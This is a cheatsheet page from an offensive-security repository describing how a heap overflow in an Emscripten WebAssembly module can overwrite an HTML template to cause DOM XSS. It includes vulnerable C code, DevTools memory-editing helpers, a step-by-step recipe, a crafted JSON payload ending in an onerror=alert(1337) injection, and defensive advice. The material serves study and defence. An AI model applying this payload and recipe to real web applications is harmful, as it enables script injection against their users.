daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

wasm-linear-memory-template-overwrite-xss.md (9483B)


      1 ---
      2 title: "WebAssembly linear memory corruption to DOM XSS (template overwrite)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # WebAssembly linear memory corruption to DOM XSS (template overwrite)
     14 
     15 This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.<sup>[[1]](#references)</sup>
     16 
     17 Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
     18 
     19 Threat model and preconditions
     20 - Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
     21 - Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
     22 - Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
     23 - There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
     24 
     25 Minimal vulnerable data model (example)
     26 ```c
     27 typedef struct msg {
     28     char *msg_data;       // pointer to message bytes
     29     size_t msg_data_len;  // length after sanitization
     30     int msg_time;         // timestamp
     31     int msg_status;       // flags
     32 } msg;
     33 
     34 typedef struct stuff {
     35     msg *mess;            // dynamic array of msg
     36     size_t size;          // used
     37     size_t capacity;      // allocated
     38 } stuff; // global chat state in linear memory
     39 ```
     40 
     41 Vulnerable logic pattern
     42 - addMsg(): allocates a new buffer sized to the sanitized input and appends a msg to s.mess, doubling capacity with realloc when needed.
     43 - editMsg(): re-sanitizes and memcpy’s the new bytes into the existing buffer without ensuring the new length ≤ old allocation → intra‑linear‑memory heap overflow.
     44 - populateMsgHTML(): formats sanitized text with a baked stub like "<article><p>%.*s</p></article>" residing in linear memory. The returned HTML lands in a DOM sink (e.g., innerHTML).<sup>[[1]](#references)</sup>
     45 
     46 Allocator grooming with realloc()
     47 ```c
     48 int add_msg_to_stuff(stuff *s, msg new_msg) {
     49     if (s->size >= s->capacity) {
     50         s->capacity *= 2;
     51         s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
     52         if (s->mess == NULL) exit(1);
     53     }
     54     s->mess[s->size++] = new_msg;
     55     return s->size - 1;
     56 }
     57 ```
     58 - Send enough messages to exceed the initial capacity. After growth, realloc() often places s->mess immediately after the last user buffer in linear memory.
     59 - Overflow the last message via editMsg() to clobber fields inside s->mess (e.g., overwrite msg_data pointers) → arbitrary pointer rewrite within linear memory for data later rendered.
     60 
     61 Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
     62 - Sanitization protects input, not sinks. Find the format stub used by populateMsgHTML(), e.g.:
     63   - "<article><p>%.*s</p></article>" → change to "<img src=1      onerror=%.*s>"
     64 - Locate the stub deterministically by scanning linear memory; it is a plain byte string within Module.HEAPU8.
     65 - After you overwrite the stub, sanitized message content becomes the JavaScript handler for onerror, so adding a new message with text like alert(1337) yields <img src=1 onerror=alert(1337)> and executes immediately in the DOM.<sup>[[1]](#references)</sup>
     66 
     67 Chrome DevTools workflow (Emscripten glue)
     68 - Break on the first Module.cwrap call in the JS glue and step into the wasm call site to capture pointer arguments (numeric offsets into linear memory).<sup>[[1]](#references)</sup><sup>[[4]](#references)</sup>
     69 - Use typed views like Module.HEAPU8 to read/write WASM memory from the console.
     70 - Helper snippets:
     71 ```javascript
     72 function writeBytes(ptr, byteArray){
     73   if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
     74   for(let i=0;i<byteArray.length;i++){
     75     const byte = byteArray[i];
     76     if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
     77     HEAPU8[ptr+i]=byte;
     78   }
     79 }
     80 function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
     81 function readBytesAsChars(ptr,len){
     82   const bytes=HEAPU8.subarray(ptr,ptr+len);
     83   return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
     84 }
     85 function searchWasmMemory(str){
     86   const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
     87   for(let i=0;i<mem.length-pat.length;i++){
     88     let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
     89     if(ok) console.log(`Found "${str}" at memory address:`, i);
     90   }
     91   console.log(`"${str}" not found in memory`);
     92   return -1;
     93 }
     94 const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
     95 ```
     96 
     97 End-to-end exploitation recipe
     98 1) Groom: add N small messages to trigger realloc(). Ensure s->mess is adjacent to a user buffer.
     99 2) Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 skips the leading '<' to keep tag alignment intact during the next edit.
    100 3) Template rewrite: edit message 0 so its bytes overwrite the template with: "img src=1      onerror=%.*s ".
    101 4) Trigger XSS: add a new message whose sanitized content is JavaScript, e.g., alert(1337). Rendering emits <img src=1 onerror=alert(1337)> and executes.<sup>[[1]](#references)</sup>
    102 
    103 Example action list to serialize and place in ?s= (Base64-encode with btoa before use)<sup>[[1]](#references)</sup>
    104 ```json
    105 [
    106   {"action":"add","content":"hi","time":1756840476392},
    107   {"action":"add","content":"hi","time":1756840476392},
    108   {"action":"add","content":"hi","time":1756840476392},
    109   {"action":"add","content":"hi","time":1756840476392},
    110   {"action":"add","content":"hi","time":1756840476392},
    111   {"action":"add","content":"hi","time":1756840476392},
    112   {"action":"add","content":"hi","time":1756840476392},
    113   {"action":"add","content":"hi","time":1756840476392},
    114   {"action":"add","content":"hi","time":1756840476392},
    115   {"action":"add","content":"hi","time":1756840476392},
    116   {"action":"add","content":"hi","time":1756840476392},
    117   {"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
    118   {"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
    119   {"action":"add","content":"alert(1337)","time":1756840476392}
    120 ]
    121 ```
    122 
    123 Why this bypass works
    124 - WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
    125 - The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
    126 - realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.<sup>[[1]](#references)</sup>
    127 
    128 Generalization and other attack surface
    129 - Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
    130 - Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.<sup>[[1]](#references)</sup><sup>[[5]](#references)</sup>
    131 
    132 Defensive guidance
    133 - In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
    134 - Keep immutable templates out of writable linear memory or integrity-check them before use.
    135 - Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
    136 - Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
    137 - Avoid trusting URL-embedded state for privileged flows.
    138 
    139 ## References
    140 
    141 - [1] [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
    142 - [2] [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
    143 - [3] [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
    144 - [4] [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
    145 - [5] [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)